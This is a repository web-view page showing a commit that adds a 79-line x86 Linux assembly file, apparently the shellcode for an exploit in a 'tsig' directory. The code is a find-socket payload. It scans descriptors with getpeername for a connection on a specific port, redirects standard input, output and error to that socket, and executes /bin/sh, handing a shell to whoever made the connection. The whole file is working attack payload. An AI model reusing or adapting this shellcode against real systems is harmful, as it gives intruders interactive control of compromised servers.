summaryrefslogtreecommitdiff
path: root/other/tsig/shellcode/peername.s
diff options
context:
space:
mode:
Diffstat (limited to 'other/tsig/shellcode/peername.s')
-rw-r--r--other/tsig/shellcode/peername.s79
1 files changed, 79 insertions, 0 deletions
diff --git a/other/tsig/shellcode/peername.s b/other/tsig/shellcode/peername.s
new file mode 100644
index 0000000..61cab0a
--- /dev/null
+++ b/other/tsig/shellcode/peername.s
@@ -0,0 +1,79 @@
1.globl cbegin
2.globl cend
3
4cbegin:
5 xor %ebx,%ebx
6 mov $0x7,%bl
7 mov %esp,%edx
8 jmp label1
9 stos %al,%es:(%edi)
10 stos %al,%es:(%edi)
11 stos %al,%es:(%edi)
12 stos %al,%es:(%edi)
13 stos %al,%es:(%edi)
14 stos %al,%es:(%edi)
15 stos %al,%es:(%edi)
16 stos %al,%es:(%edi)
17 stos %al,%es:(%edi)
18
19label1:
20 push $0x10
21 mov %esp,%ecx
22 push %ecx
23 push %edx
24 push $0xfe
25 mov %esp,%ecx
26label2:
27 xor %eax,%eax
28 mov $0x66,%al
29 int $0x80
30 test $0xff,%al
31 jne label3
32 cmpw $0x5234,0x12(%esp,1)
33 je label4
34label3:
35 pop %edx
36 test $0xff,%dl
37 je label7
38 dec %dl
39 push %edx
40 jmp label2
41.ascii "\x38"
42label4:
43 pop %ebx
44 xor %ecx,%ecx
45 mov $0x3,%cl
46label5:
47 dec %cl
48 xor %eax,%eax
49 mov $0x3f,%al
50 int $0x80
51 jcxz label6
52 jmp label5
53label6:
54 push $0x4
55 push $0x0
56 push $18
57 push $1
58 push %ebx
59 movl $102, %eax
60 movl $14, %ebx
61 movl %esp, %ecx
62 int $0x80
63 push $0x0
64 push $0x0
65 push $0x68732f
66 push $0x6e69622f
67 lea 0x8(%esp,1),%ecx
68 lea 0xc(%esp,1),%edx
69 mov %esp,(%ecx)
70 mov %esp,%ebx
71 xor %eax,%eax
72 mov $0xb,%al
73 int $0x80
74label7:
75 xor %eax,%eax
76 inc %al
77 int $0x80
78cend:
79